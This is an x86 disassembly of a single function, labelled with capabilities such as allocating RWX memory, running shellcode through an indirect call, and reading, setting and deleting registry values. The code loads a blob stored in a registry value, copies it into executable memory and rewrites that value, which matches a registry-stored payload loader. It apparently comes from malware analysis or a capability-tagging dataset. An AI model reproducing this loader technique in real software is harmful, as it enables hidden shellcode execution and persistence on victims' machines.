Function at 0x405aa6
Capabilities:
Allocate or change rwx memory
Delete registry value
Execute shellcode via indirect call
Query or enumerate registry value
Set registry value

Disassembly:
push 0xa58
mov eax, 0x527bf3
call fcn.00505e7e
mov dword [ebp - 0x18], ecx
mov ebx, dword [ebp + 8]
cmp byte [ebx], 0xc9
je 0x405e08
cmp dword [ebp + 0xc], 0x65
jne 0x405d35
lea eax, [ebp - 0x14]
push eax
push 0x20019
xor esi, esi
push esi
push str.Console0
push closesocket
mov dword [ebp - 0x1c], 3
mov dword [ebp + 8], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405b9c
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp + 8]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
mov esi, str.d33f351a4aeea5e608853d1a56661059
push esi
push dword [ebp - 0x14]
call edi
cmp dword [ebp + 8], 0xa44
jbe 0x405b91
push dword [ebp + 8]
call fcn.0040633e
push dword [ebp + 8]
mov dword [ebp + 0xc], eax
push 0
push eax
call fcn.005067a0
add esp, 0x10
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x1c]
push eax
push 0
push esi
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x405b91
mov esi, dword [ebp + 0xc]
push 0x40
push 0x3000
mov ecx, 0x291
mov edi, 0x57e6a8
rep movsd dword es:[edi], dword [esi]
push dword [0x57e8b0]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [0x57e8b0]
mov ecx, dword [ebp + 0xc]
add ecx, 0xa44
push ecx
push eax
mov dword [0x57e6a4], eax
call fcn.00506bd0
add esp, 0xc
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
mov eax, 0x57e8b4
inc ebx
mov cx, word [ebx]
cmp cx, word [eax]
jne 0x405bc8
cmp cx, si
je 0x405bc4
mov cx, word [ebx + 2]
cmp cx, word [eax + 2]
jne 0x405bc8
add ebx, 4
add eax, 4
cmp cx, si
jne 0x405ba2
xor eax, eax
jmp 0x405bcd
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, esi
je 0x405e00
mov eax, dword [0x57e6a4]
cmp eax, esi
je 0x405bf1
push 0x8000
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x57e6a4], esi
push 0x2e
mov eax, 0x767b
mov word [ebp - 0xa60], ax
mov eax, 0x5f55
mov word [ebp - 0xa5e], ax
mov eax, 0x6a21
mov word [ebp - 0xa5c], ax
mov eax, 0x5757
mov word [ebp - 0xa5a], ax
pop eax
push 0x64
mov word [ebp - 0xa58], ax
pop eax
push 0x6c
mov word [ebp - 0xa56], ax
pop eax
push 0x5f
mov word [ebp - 0xa54], ax
mov word [ebp - 0xa52], ax
pop eax
push 0x62
mov word [ebp - 0xa50], ax
pop eax
push 0x69
mov word [ebp - 0xa4e], ax
pop eax
push 0x6e
mov word [ebp - 0xa4c], ax
pop eax
mov word [ebp - 0xa4a], ax
xor eax, eax
push 0x1e4
mov word [ebp - 0xa48], ax
lea eax, [ebp - 0xa46]
push esi
push eax
mov dword [ebp - 0xa64], esi
call fcn.005067a0
xor eax, eax
xor esi, esi
lea edi, [ebp - 0x862]
stosw word es:[edi], ax
push 0x64
lea eax, [ebp - 0x858]
push esi
push eax
mov dword [ebp - 0x860], esi
mov dword [ebp - 0x85c], esi
call fcn.005067a0
push 0x7d0
lea eax, [ebp - 0x7f4]
push esi
push eax
call fcn.005067a0
xor eax, eax
lea edi, [ebp - 0x24]
push 0xa45
stosd dword es:[edi], eax
call fcn.0040633e
add esp, 0x28
mov dword [ebp + 0xc], eax
mov byte [eax], 5
push 0x56bd84
lea eax, [ebp - 0x20]
mov dword [ebp - 4], esi
push eax
mov dword [ebp - 0x20], 0xb
call fcn.00505a1b
push 0xa44
lea eax, [ebp - 0xa64]
push eax
mov eax, dword [ebp + 0xc]
inc eax
push eax
call fcn.00506bd0
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x405d1c
ret
push 0x40
push 0x3000
lea esi, [ebx + 1]
mov ecx, 0x291
mov edi, 0x57e6a8
rep movsd dword es:[edi], dword [esi]
push dword [0x57e8b0]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [0x57e8b0]
add ebx, 0xa45
push ebx
push eax
mov dword [0x57e6a4], eax
call fcn.00506bd0
mov ebx, dword [0x57e8b0]
add ebx, 0xa44
push ebx
call fcn.0040633e
add esp, 0x10
mov dword [ebp + 8], eax
test eax, eax
je 0x405e00
mov edi, eax
mov ecx, 0x291
mov esi, 0x57e6a8
rep movsd dword es:[edi], dword [esi]
push dword [0x57e8b0]
add eax, 0xa44
push dword [0x57e6a4]
push eax
call fcn.00506bd0
add esp, 0xc
lea eax, [ebp + 0xc]
push eax
push str.Console0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x405dee
mov esi, str.d33f351a4aeea5e608853d1a56661059
push esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push ebx
push dword [ebp + 8]
push 3
push 0
push esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp + 8]
call fcn.00406333
pop ecx
mov esi, dword [ebp - 0x18]
call fcn.00405a7d
call fcn.00505f23
ret 8